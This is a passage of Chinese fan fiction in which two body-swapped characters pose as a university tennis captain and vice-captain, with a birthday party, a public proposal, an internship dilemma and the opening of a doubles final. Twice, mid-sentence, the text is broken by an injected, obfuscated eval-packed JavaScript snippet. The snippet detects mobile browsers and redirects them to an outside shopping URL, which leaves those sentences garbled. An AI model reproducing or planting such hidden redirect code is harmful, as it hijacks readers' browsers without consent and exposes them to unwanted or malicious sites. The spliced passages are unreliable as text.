什么跟什么啊。西钊无奈地笑着摇摇头,也不再过多追问。他们扮演的角色不仅是青学网球队队长和副队长,还有“大学生”钟国光和石毅,也就意味着他们必须要按照课表去上课,哪怕听不懂。所以西钊并没有什么闲心在意北淼和其他人的“莫名其妙”。 下节课他们不在一个教室,于是他们在转角短暂告别,鞠万从对面跑过来,一个飞扑就扒拉在西钊背上一同往教室走去。北淼含着淡淡的醋味儿叹口气,刚转身就遇到凑过来的何春龙和陶成武。 “队长队长,大石没发现吧?”何春龙凑到转角处,探头望向鞠万和“大石”逐渐远去的背影。 发现是没发现,但是你们要真打算这么做,到时候估计一个个都得被他抡在地上。北淼在心里暗暗吐槽,脸上却挂着他跟正牌学的“国光式”微笑:“没有。不过,你们确定要这么做吗?” “那肯定!大石平时为咱们忙里忙外的,就没怎么顾得上自己。以前还会跟我们暗示暗示,今年估计因为比赛的事彻底搞忘了。”陶成武有些兴奋地搓搓手,看着“国光”好奇问道,“诶,队长,今年你给大石准备的什么?” 北淼的脸色僵硬了一秒,接着迅速调整状态,略显尴尬地笑笑:“既然是给别人的惊喜,就应该留到最后,不是吗?快去上课,要迟到了。” 以命令的口吻催促之后,两人才勾肩搭背地和北淼挥挥手、消失在另一个方向的楼梯口。北淼再次一声叹息,转身几步走进自己的教室,随意找了个位置坐下。没过多久,老师开始讲课,北淼望着前方发呆,一个字也听不进去。 今天是石毅的生日。 青学网球队的大家打算给“大石”准备一个生日惊喜。何春龙订了最好的蛋糕、陈海棠提出每个人戴上搞怪的万圣节面具吓唬他,其他人也根据“大石”的喜好准备礼物:书、歌曲磁带、乐队CD等等。 其实,让北淼陷入集低落与聒噪为一体的复杂情绪的,并非“钟国光”要送“大石”什么,毕竟早在前一天晚上,钟国光就在梦里委托他准备礼物,等他们换回来再交给石毅;真正让北淼难受的,是他不知道要送西钊什么。 之前上户口时,要登记出生年月日,西钊只说得出年份,具体日期早就因影界的十年被草草抹去。阳光孤儿院的资料也因年代久远,不是一时半会儿就能得到回复的。而让北淼心情更为复杂的是,西钊忘了自己的生日,却记得冰儿的。西钊解释说,刚到影界的前两年他偷偷给冰儿过了两次生日。但后来,冰儿不知怎地不愿再过了,于是西钊也没再提起,只是一直记得那个日期。也许、他只是单纯忘记了一件对自己而言似乎不那么重要的事情。 那天,在登记表上,西钊甚至没有多加考虑,也没有到阳光孤儿院核实资料的打算。他问北淼要了身份证,除了年份之外,随意地填上一模一样的日期。北淼曾不解地问“为什么”,西钊只是无所谓地笑着回答:没关系,又不是什么值得在意的东西。 没好好过过生日,就不会理解它代表的仪式感和它能够带来的幸福。越是这么想,北淼就越是焦躁。他不愿西钊总是习惯性地对自己的人生“随随便便”。他想好好地、非常隆重地给西钊过一次生日。但北淼猜想,西钊又会以“没有必要”“低调”“不重要”而推脱谢绝。 不过,在这里、在这个世界,他不是富家公子,只是一个普通的大学生。而西钊所扮演的“石毅”今天正好要过一个独属于学生时代、既普通又温馨的生日派对。北淼觉得,这是个绝佳的机会。他只是没想好应该给西钊送什么才能让他明白:今天很重要,不是什么“不值得记住”的日子。北淼忽然有一种冲动,等他和西钊回家,他要把西钊这二十几年的生日礼物全都补上。哪怕让西钊许二十几个荒谬的愿望,只要在他能力范围内,他拼了命也一定会为西钊实现。 就在北淼想着怎么给西钊过生日而莫名热血沸腾的时候,突兀的下课铃把北淼吓了一跳。 他回过神,意识到自己还坐在青春学院的教室里,那把火突然就灭了一大半。好吧,别管许愿的事了,先想想一个脑子里只有学习和网球的网球队队长能给副队长送什么吧…… 北淼其实打算私底下把生日派对的事告诉西钊。并不是担心他会露馅,而是怕西钊看见那些万圣节鬼怪面具会下意识把他们当异能兽。 要不还是劝劝他们换个“惊喜”吧。北淼一边想着,一边捧着书离开教室,往下一个教室迈步走去。 ———— “石毅,你留一下。” 下课之后,西钊背着包抱着书正要离开,台上的老师却忽然叫出一个熟悉的名字。西钊愣了半晌才反应过来是在叫“他”,于是应了一声,点点头随老师在座位上相对而坐。 西钊有些紧张。他没上过学,课堂上的内容他没仔细听,基本一个字也没听懂。如果老师问起来,他还真不知道该怎么应付。 但令西钊既松了口气、也感到意外的是,老师递给他一张表格,上面是一个公司的实习资料。老师说,石毅的学习成绩非常出色,这个公司也非常看好他。不仅公司本身资质靠前,专业也和石毅的对口。可以说,如果石毅进去实习,基本可以顺利转正、前途不可估量。 老师虽然说着协商一样的话,但语气却不容“石毅”多做考虑。还不等西钊能思考出什么回应的话来,老师就已经拍拍他的肩膀站起身。 “下午填好交给我。” 西钊看着老师离开教室的背影,欲言又止。 他不是石毅,没有办法帮别人做决定,而且真要讨论个结果出来,最晚也得等到他们四个人约好的晚上。但老师给的时限只到下午,根本来不及。他们现在也没办法主动和真正的石毅沟通。一下子,西钊有些无措。 他之所以做不了主,除了他不是本人之外,其实还有一个原因:鞠万。前几天,鞠万还很开心地跟“石毅”提起,他委托他爸准备联系一家很不错的公司,到时候实习可以两个人一起去,甚至以后可以在同一家公司上班。西钊话里话外听出,这似乎是石毅和鞠万更早之前就约定好的事情。就算石毅选择了和自己专业更对口的公司,西钊想,在填表之前,也要把这件事告诉鞠万,听听他的想法。 如果这家公司是真心想要石毅的,那么就不会在意表格晚那么一天上交吧?西钊不是很懂这些规矩,但他知道,任何事都是可以商量的。于是,他拿好表格,站起身追着老师刚刚离开的方向去。 ———— 等西钊处理完实习表格的事情,天色已经暗淡下来。按道理他应该和北淼碰面,去食堂吃个饭,之后他还要找鞠万说明情况。可是,不管是北淼还是鞠万,两个人都联系不上,电话不接、短信不回,如果他不是在半封闭式管理的大学里,且北淼和鞠万都住宿,他就要去报警了。 西钊把表格小心折好放进口袋,有些无奈地推开网球队休息室的门,准备拿上他训练时落在这里的几本书和临时借给鞠万的耳机。结果他刚一进门,就感觉到漆黑的休息室里看上去空空荡荡,其实全都是人的气息。特别是他脚边不远处的桌子下面明晃晃“藏”着一个人。普通人也许由于视觉死角看不见,但对西钊来说如果连这个都觉察不到那估计雪獒铠甲都要嫌弃他了。 不过,这到底是在干什么?今天所有人的莫名其妙就是为了这个?他要……他要装作不知道吗?直接拆台似乎不太好。 西钊思考片刻,最终选择假装什么都不知道。虽然他除了知道这里有人躲着之外确实对其他事情一无所知。他随意拿起其中一本书,在休息室的椅子上坐下来,假意翻看。果不其然,在他翻开书后不久,他就感觉到身后有人——呃,可以说是一群人——慢慢接近,十有八九就是网球队的队员们了。那一会儿应该要表现得惊讶一些才行。 于是,在身后传来整整齐齐一声“呜啦!”的同时,西钊非常配和地耸起肩膀、一副快被吓坏的模样。他也隐约在黑暗里看见他们戴着什么软胶面具。 所以……就这?正当西钊困惑不解时,下一秒,不知谁啪的一下打开灯,鞠万意料之中地从桌子底下窜出来,给“大石”一个巨大的拥抱;何春龙端着蛋糕,绕过一众人将其放到休息室的桌上;把鞠万从“大石”身上拽下来之后,其他人纷纷摘下面具,递上大大小小、精美别致的礼物,给西钊塞了个满怀,连手里的书掉在地上也没有人留意。大家绕“大石”一圈站着,拍手齐声唱起了“生日快乐歌”。 西钊都记不清上一次听到这首歌是什么时候了。他怀里都是大家送给“大石”的礼物,心里百感交集。是因为他们太年轻吗?心中有着一团属于学生时代最后的火焰,就像北淼、就像冰儿,很温暖。西钊不禁感叹,这么多年过去,他还是和以前一样多愁善感,这么轻易就因这样简单的温馨而有所触动,几乎被他们的笑容和快乐感染。 原来……过生日是一件如此幸福的事吗? 只可惜这些温暖属于石毅,不属于西钊。 西钊努力撑起“石毅”的笑容,跟大家说笑、道谢。鞠万激动地拿出他的礼物——两张实习资料,分别是石毅和鞠万的名字。他一边把纸张递给“大石”,一边激动地说自己和家里都商量好了,公司的交接也没什么问题,基本可以顺利实习、顺利入职。 果然,这都在西钊意料之内。幸好,他为老师给石毅的资料争取到了时间。 鞠万话还没说完,陈海棠就把鞠万从西钊面前挤开,往后面望了一眼,提高嗓门:“喂,队长!你要躲到什么时候啊!说好的‘把最好的留到最后’呢?” 也正是这个时候西钊才发现,刚刚乱成一锅粥的人里的确没有看到北淼,手里的礼物也没有看到他的名字。西钊回过头,只见北淼从里屋露了半个脸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334665|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身子还没出来,伸手就抓着刚好离他最近的钱真智衣服的袖子把人拖了进去,留下众人面面相觑。 “‘国光’要是现在跟‘大石’告白,你会不会杀了我?”北淼掩着门,凑近钱真智低声问。 钱真智扶着眼镜站稳,毫不犹豫:“会。” “那如果我说,去到我那个世界的‘钟国光’和‘石毅’已经捅破窗户纸在一起了呢?”阁下又该如何应对? “……”钱真智沉默了,好半天才淡淡说道,“按日期来算,我们在你们来之前,就知道队长和大石相互暗恋。原本不打算告诉他们,但既然他们已经……那或许已经没有彼此隐瞒的必要了。” “好。” 北淼心情大好,一把将钱真智轻推出去,手伸进夹克口袋拿好里面的小盒子,保持手插口袋的姿势,轻咳了一声,这才推门从里屋走出。除了知道即将发生什么的钱真智,每个人、包括西钊,都很好奇“国光”给“大石”准备了什么礼物。 然而,令众人意想不到的是,他们的“国光”队长慢慢走到“大石”面前,从口袋中掏出一个暗红色的朴素戒盒、同时缓缓单膝跪地,在所有人惊诧的目光里将其打开,向“大石”展示里面一黑一白的戒指。 西钊即刻用手肘轻轻触碰身侧的裤袋——果然,他的戒指不知道什么时候被北淼顺走了! 他听见“国光”……不,是北淼。现在向他单膝下跪的人,是北淼。他听见北淼说: “请允许我在你身边虚度光阴。在此之后,我才能完成其他事情。 “倘若看不到你,我的心便难以安宁,我的工作便成了无边苦海中无休止的劳役。 “今天,夏天在我的窗前轻轻低语,群蜂吟游在花的殿堂。 “这时我该静静坐着,与你相视,被无边寂静淹没,为生命唱起赞歌。* “大石,你愿意吗?接受我赠予你的时光,也将你的人生托付于我。” (*摘自泰戈尔《吉檀迦利5》) 空气像是瞬间凝固了一样,所有人的声音都在那一刻戛然而止,仿佛世界被按下了静音键,所有目光齐刷刷地聚焦在“国光”身上。 西钊想笑,却发现自己笑不出来。那一刻,他心头涌上太多复杂的情绪,不知该作何表情。他曾经认为,“求婚”是一个没有必要的过场,就像“生日”一样,对他来说并不重要。但如今直面着那双炽烈得几乎要将他融化的深情双眸,西钊忽然之间觉得这两个词第一次拥有了意义。他知道,现在不是“国光”在向“大石”求婚,而是北淼在向他西钊示爱,尽管他们早已确认关系。 如同紧绷的弦骤然断裂,众人终于从这历史性的一幕中回神,有人起哄、有人鼓掌、有人看戏、有人哭着闹着说自家白菜就这么没了、还有人推搡“大石”的肩膀让他快给“国光”一个回答。 西钊听不见他们的声音,也感觉不到他们的触碰,他只听见自己说:“我愿意。” 欢呼声即刻爆发在青学网球队的休息室里。北淼并未理会他们的喧闹,只是默默牵起西钊还抱着一堆礼物的手,将黑色的戒指套在他无名指上,又将白色的戒指放在他手心,将自己的手递了上去。 西钊心领神会,虽然抱着礼物有些不方便,但北淼贴心地为他调整角度,顺利戴上了戒指。北淼重新拉着西钊的手,低头在他手背落下一吻。周围的欢闹声此起彼伏,但他们此刻心中只有彼此的声音。 “生日快乐。”北淼轻声说。 他没有使用主语。所有人都默认“国光”在祝福“大石”,只西钊明白,这是北淼为他过的第一个生日、是他送给自己的第一份生日礼物,也是他们的第一次求婚。 怀里的所有礼物、这个世界的所有温度都不属于他。他所拥有的,只有指间的那枚戒指、牵住他的那只手,和面前凝视他的那个人。 而他、只要这些就好。 其他的、全都不重要。 北淼倾身上前,西钊低下脑袋。他们就这么慢慢向对方靠近、唇间的距离被一点点缩短;直到空气里只剩下彼此的气息、直到他们在所有人的见证下亲吻在一起。 “……谢谢你,北淼。”一吻结束,西钊用只有他们能听到的声音轻声低语。 然后—— 然后发生了什么呢? 原本蛋糕大战的主角只有一个,现在,变成了两个。 TBC ※PS. 本来想写鞠万大石实习矛盾坦白局的,结果过个生日写嗨了,放在下篇做简单过渡吧。 嗯,那个哭着说自家白菜没了的人是鞠万,看戏的是龙马周助和真智。 至于真正的国光和大石……都告白了,两个人还住宾馆,那当然是该发生的都发生了(摊手)。 ※前排提醒: 最后一章和立海大的决赛,立海大双打一名单会有调整,剧情需要会把用球打人的单打二齐远放在双打一(齐远+任王)。如踩雷请提前退避。可跳过比赛直接看结局剧情。 38. 动员大会 “生日快乐,大石。”这是西钊在疯狂的生日派对结束当天,进入梦境之后和石毅说的第一句话。 石毅不好意思地笑了笑,与西钊一同坐在网球场旁边的长椅上:“谢谢。他们没给你添乱吧?每年我们队里有人过生日,都会弄得乱七八糟的。” 西钊摇摇头,膝撑双肘,若有所思地目视前方:“那倒没什么,不过,我想和你谈谈鞠万的事情。” “鞠万?” 西钊点点头,陷入回忆之中。 ———— “鞠万,我有件事,想问问你的意见。” 收拾好残局,大家纷纷往宿舍方向走。西钊叫住鞠万,约他一起去网球场。本来他想给北淼使个眼色,告诉他不必担心,但“国光”队长已经被其他队员“围攻”着一边八卦一边往宿舍拖了。西钊只好暗暗表示同情。 在去往网球场的路上,鞠万就忍不住问“大石”他要说的到底是什么事情。西钊只是笑着没有回应,一直到他们走进球场,在长椅上坐下。西钊从口袋里拿出那张折得四四方方的空白实习表格,递给鞠万。他没有马上说明情况,而是先观察鞠万的反应。 鞠万刚打开那张表就认出了这家公司,满脸写着震惊:“哇!大石,这个不是很有名的那家公司吗?这上面招聘的实习职位跟我们专业也对口,我听其他人说,好多人挤破脑袋都拿不到这个内推表呢!你从哪里搞到的?” 西钊微微扬起嘴角,给鞠万一个歉意的微笑:“这是今天课后老师交给我的。他希望我到这个公司实习。”不出所料,西钊看到鞠万脸色一变,他不作回应,只是接着说,“老师催得紧,本来这张表今天下午就要交上去,但我们之前有过约定,你也是我的搭档。我想,这件事还是要听听你的看法。所以我好说歹说,才把时间延迟到明天。” “就是说啊!我们俩已经说好要去一家公司。你看,我爸那边都置办好了,就等我们过去实习。虽然专业不对口吧,但我们兄弟俩还能一直在一起呢。” 西钊能听出,鞠万虽然说得理直气壮,但语气中却带着不被轻易察觉的愧疚和心虚。其实鞠万并没有产生这些情绪的理由,西钊有些担心自己是不是说错了话。 他“嗯”一声以示回应,轻轻叹口气:“所以我没有马上填表。对我来说、我们之间的约定更加重要,我不想让你失望。只是,你知道、我没办法否认这是个很好的机会……我……” 西钊没再说下去,他也不知道如果是石毅的话他会怎么说。但这歪打正着地让鞠万没有了最开始的理所应当。鞠万低下头,难得安静地反复端详手里薄薄的一张纸,仿佛它重要得能决定世界的命运一样。 他们就这么沉默着坐了很久。直到西钊注意到天色已经不早,再晚一些宿舍就准备关门熄灯了。反正最迟是明天下午,不管怎么样都还有时间。西钊这么想着,站起身伸手试图把实习表格从鞠万手里拿回来:“没事的,鞠万。明天下午才截止,现在太晚了,我们明天再聊吧。” 但鞠万在西钊的手碰到那张纸之前把手伸到另一侧,离西钊远远的。他脸上没有平日里的嬉笑,一本正经地看着西钊。这些天习惯了鞠万不着调的性格,忽然见他这么严肃,让西钊有些意外。 他听见鞠万问:“大石,这个公司,你想去吗?” 我不知道……这要问本尊。 西钊在心里苦笑,脸上却是淡淡的无奈,尽可能让自己看上去只是单纯地举棋不定:“让我再考虑一下,好吗?不管怎么说,这也是比网球更复杂的事情。” 是吗?是吧。西钊猜的。毕竟对他们这样的大学生来说,网球只是一项运动、或者说爱好,而实习甚至是工作却有着更深远的影响。 但鞠万摇摇头,依旧坐着没有动弹:“大石,你说,以后我们还有没有机会一起打球啊?” 西钊见过石毅和鞠万的个人资料,他们并不会在毕业之后到外地工作。既然都在一个城市,那么偶尔见个面、或者经常聚一聚,也许不会太难。于是他重新在鞠万身边坐下,点点头:“当然。我们只是离开学校,又不是再也见不到面。” “……那你要不、还是听老师的建议,去那家公司吧。条件那么好,机会也是千载难逢……我爸那边,你也别担心,我回去跟他说说就行。” “鞠万……” “哎呀,大石,没事的!”鞠万忽然又变回平日里那个活蹦乱跳的大野猫,抬手和“大石”勾肩搭背,拍拍西钊的肩膀,“说来也怪不好意思的。其实……我就是担心,以后咱们见不着,你把我给忘了。所以啊,你可要答应我,咱们‘青学黄金双打’,只能是我俩。我鞠万是你石毅唯一的双打拍档!而且,我们还要经常出来打球,或者到小龙那里下馆子也不错!” 鞠万越说越兴奋,西钊也没打断他,只是挂着欣慰的笑容时不时点头回应。西钊注意到,鞠万一直拿着那张纸,从最初的不满到如今的释怀,看起来比得到这个内推的“大石”还要高兴。 变得真快啊。西钊想。 “朋友”这个词,永远都在带给他惊喜。 ———— 石毅目瞪口呆地听西钊讲述完全程,甚至在西钊说完之后好一会儿才开口:“……谢谢。如果是我的话,可能就顶不住老师的压力,还没和鞠万说就把表交上去了。鞠万肯定会生我的气。谢谢你为我们避免了一次矛盾。只不过,我还是担心鞠万……” “所以我才来要你的答案。我认为,不管是给你的生日惊喜,还是最后建议你选择更好的公司,他都在真心为你着想。”西钊望向石毅,柔和一笑,“别想太多,遵从自己的内心。这是一个朋友告诉我的。” 石毅低下头,沉思许久,总算是下定决心:“嗯,我知道了。明天一早我就帮你把表填上。麻烦你帮我交给老师。” “明天早上?”西钊对石毅的措辞有些困惑,“老师说内推明天下午就截止了,没办法再等到晚上。你现在把表上的信息告诉我,我记得住。” “啊、说起来,我本来就是要跟你说这件事来着……” ———— “‘调频器’?”从一个大学生里听到这么高级的词汇,让坐在网球场中的北淼不禁微微歪了脑袋。 跟他并排而坐的钟国光放下球拍,点点头:“对。美真他们有了新的进展。经过我和大石的对比查证,我们出事的坐标并不相同,所以只要满足‘时间’和‘刺激’两个条件。” “那我们的时间要怎么同步?”北淼顺着这个方向皱眉问道。 “已经通过调频器同步了。它是东杉今天才研发出的一种装置,可以让我和大石不使用虚拟战斗室的情况下也能与你们的潜意识进行直接沟通。” “等等、也就是说……”北淼打断钟国光的话,手托下巴说出自己的猜测,“虽然还不知道怎么换回来、且身体的主控权也始终在我们这里,但你们现在能随时随地和我们交流。” “嗯。” 北淼眯起眼睛,还想问得更详细些:“那你们白天怎么没有‘告诉’我们这件事?以及,你们的‘沟通’指的是现在这样进入某种场景、还是能感知到我们的一切,又或者仅仅只是脑内交流而已?” “我们可以和你们的五感同步。与你们对话的方式……简单形容,大概就是出现在你脑海里的‘声音’吧。之所以没有马上通知你们,是因为白天你们在上课,加上今天是大石的生日,我和大石……” “在约会?”北淼眉毛一挑。 “在约会。”钟国光礼貌笑笑,没有规避。 北淼随意转着网球拍,若有所思:“这和‘一体双魂’的概念差不多。这样一来,你就能通过我管理球队了。” 钟国光有些遗憾地摇摇头:“美真说,调频器和虚拟战斗室不同,并不能持续使用。最多只能维持两个小时。” “……既然这样,国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334666|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光。”北淼盯着地面,似乎是想到了什么,话锋一转,“我有一个想法,要听听看吗?” ———— “参加决赛?我和国光?”石毅抬手指着自己,对西钊刚刚提出的“策略”深表震惊,“我不太明白。” 其实西钊在听完石毅说明“调频器”的情况之后就立马想到了这点。他拿起球拍,耐心解释道:“就拿我和你举例。既然、你和我的意识是相通的,你感知我的一切,我掌控这副身体;那么、只要你将你的意志传递给我,我就可以马上做出回应。我们可以把这个方法用在赛场上。这样就相当于、你也参与其中了。虽然过程可能不如你所愿,但我想,多少能弥补你和国光不能亲自上场的遗憾。” “这……真的能做到吗?”石毅依旧不敢相信,他竟然能以这样的方式回归比赛,“网球需要很强的瞬间反应力,我们是不是应该步调完全一致、想法足够默契才行?” 其实,西钊也不确定,他只是忽然有这样一个想法。网球对石毅很重要,他不希望给石毅留下遗憾。 在西钊的观念里,面对不熟悉的东西,他要做的只有一件事:“多加练习就好,没关系。离决赛还有几天,对我们来说、足够了。明天把实习表提交给老师之后,我和北淼会给你们看真智针对我们的训练计划,方便你和我统一节奏。” 西钊放下网球拍,朝一旁不知所措、又惊又喜的石毅伸出手。他微微扬起嘴角,郑重地说:“欢迎回来,大石。” ———— 钟国光握住北淼的手,颇具仪式感地上下晃了晃:“谢谢你们为我和大石做的一切。” “没事。和当众求婚比起来,这没什么。”北淼松开手,语重心长地拍了拍钟国光的肩膀,“兄弟我、只能帮你到这了。” 求……求什么?什么婚?求婚? 钟国光一向逻辑清晰思维敏捷的大脑在这一瞬停止了思考。 “你不知道吗?其实你的队员都看出来你和大石之间有点什么,担心影响你们状态,就没跟你们说。既然你们自己先捅破了窗户纸,那我就顺水推舟,在‘大石’的生日派对上向西钊求婚了。”北淼耸耸肩,语气轻快地解释。 钟国光沉默着摘下眼镜,闭上眼低头揉捏眉心。这下让他回去怎么面对他的队员们……而且,如果北淼真的这么做了,那他还要给大石准备戒指……不对,这不是戒指的问题。 即使是在梦里,钟国光也觉得太阳穴随着脉搏的突突跳动而隐隐作痛:“我猜,‘大石’一定说了‘我愿意’。” ———— “是啊,为什么不呢?”西钊在说这句话时眼里盈满了幸福,那是石毅从未见过的温暖笑容,“如果是你,大石,你会怎么做?“ “……”石毅从刚刚开始就一直红着脸,但他自己并未察觉,他难为情垂下脑袋,伸手抓抓后脑勺,尴尬笑笑,“哎……你知道我没法拒绝国光。只是、我担心这会引起一些不必要的流言,对国光不利。” 西钊捡起一个网球,在手中抛接,目光跟随它的轨迹上下移动:“既然、你觉得这样的关系不会被‘世俗’认可,那、就不要用一般人的眼光去看待它。” 他望着疑惑不解的石毅,勾唇笑了笑,继续说道:“对我来说,球拍是‘武器’、网球是‘攻击’;但对于你们,球拍是你们的‘西装’、网球是你们的‘婚戒’,而这一次青学决赛的胜利……就是你们的‘婚礼’。” 西钊的话语结束的那一刻,下坠的网球正好稳稳落在手心。他将网球递给石毅,相同的样貌却是两副截然不同的表情。 ———— “大石,如果这个计划可行,国光也会通过北淼,和我们一起并肩作战。” ———— “到时候,可别让你的‘未婚夫’失望啊,国光队长。” ———— “嗯,我们一定全力以赴。” TBC 39. 四个人的双打 “都准备好了吗?”北淼和西钊在决赛开始之前来到场外的空球场,表面上握着手机在打电话,实际上正和钟国光二人跨时空交流。 “嗯,我和大石已经包下了俱乐部一整天的场地。我们会尽量跟上你们的行动。”钟国光和石毅的手里都握着球拍,站在场地同一侧。他们手里没有网球,因为只需要和北淼西钊做出相同的动作,挥出空拍预判下一步即可。 “对了,还有一点。”听到裁判准备让双打二的陈海棠和陶成武上场,西钊最后补充道,“‘潜意识’的传达要比‘语言’更快,我们只需要你和国光那一瞬间的‘念头’来做出判断。” “嗯,了解。”石毅看向钟国光,无声而坚定地点了点头。 北淼和西钊将手机收好,身后的比赛场地传来欢呼声。他们不约而同地抬起手,握拳与对方相碰。 “可别输得太惨啊,西钊。” “借你吉言,北淼。” ———— 没有人能预料到双打二的结果。 陶成武和陈海棠的特技被相继破解、心理因素极大影响了他们比赛的状态。即使最后努力追分,他们也还是与胜利失之交臂。 没有时间复盘和反省失败,双打一的对决紧随而至。接下来,就要看“钟国光”和“石毅”的了。 和西钊一同起身准备上场之前,北淼意味深长地看向钱真智和龙马。 钱真智皱着眉微微颔首,而龙马依旧习惯性地抬手压下帽檐,没有与北淼对视,看上去莫名有些失落。或许是在为真正的国光和大石没有上场而觉得遗憾吧,北淼想。 ———— “第二场:双打一。比赛开始。请双方球员上场。” 北淼站在网前,西钊守在后场,双眼紧盯着对方球员。 钱真智告诉过他们双打一两人的大致数据,特别让他们小心叫“齐远”的队员,之前就是他用网球打伤了周助的弟弟周裕。直击身体的网球并不算犯规,反而判定对方得分,因此钱真智才让他们多加留意。 “因为‘国光’有伤,所以齐远可能盯着你打,注意他的球路。” 北淼回想着钱真智的话,耳边是裁判的发号施令: “第一局:青学发球局。” 西钊站在后场对角、调整呼吸,网球在他手中落下又弹起。他紧盯对面的发球区,憋足一口气跃起挥拍。结果由于力度过大,球落在界外,判定为发球失误。西钊愣了愣,甚至低头挥了个空拍寻找手感。石毅让他别紧张,慢慢来,还有第二次机会。然而,第二次发球,西钊和石毅挥拍的角度并未同步,让本应顺利在界内的球再次出界。 “0:15” “大石怎么回事?发出这样的球,不应该啊。”鞠万既困惑又焦急地探头探脑。 何春龙拍拍鞠万的肩膀安慰道:“也许是太紧张了,这才第一局呢,先看看再说。” 第二球,西钊顺利开局。果不其然,比起对付后场的“石毅”,齐远和任王更专注于用速度更快的短球集中进攻“钟国光”。这样下去不是办法,钟国光想。 “北淼,后场高吊球,诱导到西钊那里!” 北淼即刻做出反应,在下一个网前短球快速袭来时快步后撤,控制力度挑臂挥拍。球按预定轨迹往对方后场落下,守着后场的任王看准时机将球用力回击,直直往西钊的方向去。 以石毅和钟国光的默契,石毅立马反应过来钟国光的策略。他的意志与西钊在那一刻同步:“西钊!往任王左侧的空缺,斜角高压球!” 随着网球与任王的球拍顶端擦过、稳稳落在斜对面的死角,裁判也挂上了比分牌: “15:15” 接下来的一球异常顺利。在西钊与后场的任王打了几个来回之后,北淼借钟国光的战术,在任王其中一个回球时突然跃起、做网前拦截,试图往场地右侧打出高压短球。这个球意料之内地被齐远截住,以更快的速度往中场回球。但这就是钟国光的策略*。 “左边空隙,斜角扣球!” 北淼掌握好力度立即屈臂往斜下方挥拍,球擦着网直奔左侧场边而去。等齐远任王二人反应过来时,球已经落在了仅仅距离界外两根手指头那么宽的距离。 “30:15” 好险,差点出界。 北淼望着比分牌,暗暗松口气。 西钊的发球逐渐熟练、北淼的接发也慢慢转守为攻,四个人似乎开始真正融入比赛之中。但他们注意到,齐远和任王似乎并不急于反击,更像是模仿上一场双打二的比赛,观察“钟国光”和“石毅”。 然而,他们没有时间拟定长久的策略。只见齐远截住西钊一个回往场后的球,径直对着北淼打了过去。北淼本想防守,但经验丰富的钟国光看出这是瞄准身体的球。 “闪开!” 意志在一念间传达了出去,北淼侧身躲闪的同时,钟国光知道石毅能明白他的用意。 “用月亮截击!” 西钊心领神会,接球转拍、让球拍在地面上拖出星火般的弧度,接着甩动手臂,成功打出力度和弧线都“正常”的月亮截击。球在后场斜角落地,经裁判下场评估,判定为界内球,引得青学队员们鼓掌欢呼。 “40:15” “这才是大石的水平嘛!” 没管激动的鞠万和欢呼的众人,和钱真智相邻而坐的龙马微微侧头,视线依然望着前方和立海大打得有来有回的二人,低声道:“你发现了吗?” “嗯。”钱真智推了推眼镜,目光紧跟着不断飞跃于球场两边的网球,“他们各项体能数据不属于队长和大石,但击球策略和战术又是队长和大石独有的。看上去就好像……” “有人在帮他们。”龙马淡淡接话,不再多言。他嘴角上扬,露出一个不易察觉的微笑。 球场上,仅仅只是第一局,双方的对战就异常激烈。北淼和西钊不断调整网前和后场的站位,试图扰乱立海大二人的攻击目标。 然而,立海大在观察一段时间后,仿佛看穿了西钊的回球习惯一般,即使西钊比石毅反应更快地观察到球路,也无法阻止后场任王的高压球从他挥拍的死角穿过。西钊即刻侧身回头看向后场:“北淼!” 钟国光和北淼二人反应迅速,没有任何意识上的交流,在两个世界同时摆出零式削球的起手式。令人意想不到的是,这一步似乎也在任王的计算之内,预料到“钟国光”会使用削球,这个高压球实际上自带旋转,导致北淼以旋球回球时抵消了部分力,结果就是,击球力道不足,回球没能过网。 “40:30” “……可恶,被摆了一道。”北淼用只有他和西钊能听见的音量低声抱怨。 “怎么搞的?队长的零式削球竟然没打出去?”陈海棠难以置信地看着球场上和“大石”商讨什么的“国光”,“立海大再厉害,也不至于破解我们队长的招数吧?” “不算破解,他们只是利用队长和大石的回球习惯调整了击球方式。看来,他们计划在细节上打败我们……”周助和钱真智对视一眼,点了点头。 陶成武的关注点一如既往地和众人不在一条线上:“诶,你们刚刚听到没,大石叫队长什么?北什么?是他们的暗号吗?” “好像是吧,而且队长和大石好安静啊,那么用力挥拍都不带出声的……”鞠万托着腮帮子,被陶成武带偏了话题。 “诶诶诶快看,大石准备用月亮截击了!这局肯定拿下!”何春龙激动地拍拍身旁的陶成武和鞠万,指向场中的“大石”。 西钊与石毅同调,故技重施再次使出往对方后场死角去的月亮截击。但出乎所有人意料,这一球竟被后场防守的任王成功接住。此时北淼和西钊都在场地左侧,球以极快的速度攻向右侧的空隙。西钊立即以超越常人的速度截住那一球,但由于拍子的角度没有掌握好,导致西钊也没能把它打回去。 “40:40” “竟然接住了月亮截击。”石毅动摇的声音在西钊脑海中响起,“我和队长的特技、都被破解了……” 西钊看向北淼,两人默契地点点头。他沉下心,安抚道:“大石,记住,他们看穿的、是‘钟国光’和‘石毅’,而不是‘北淼’和‘西钊’。别让他们打乱节奏。我和北淼会尽力配合你们。” “好。” 第一局,以西钊出界的高吊球结束。 “0:1,立海大领先。” “总觉得……队长和大石不在状态啊。”陶成武一脸惆怅地看着比分牌,“他们怎么看起来一点都不慌的样子。” 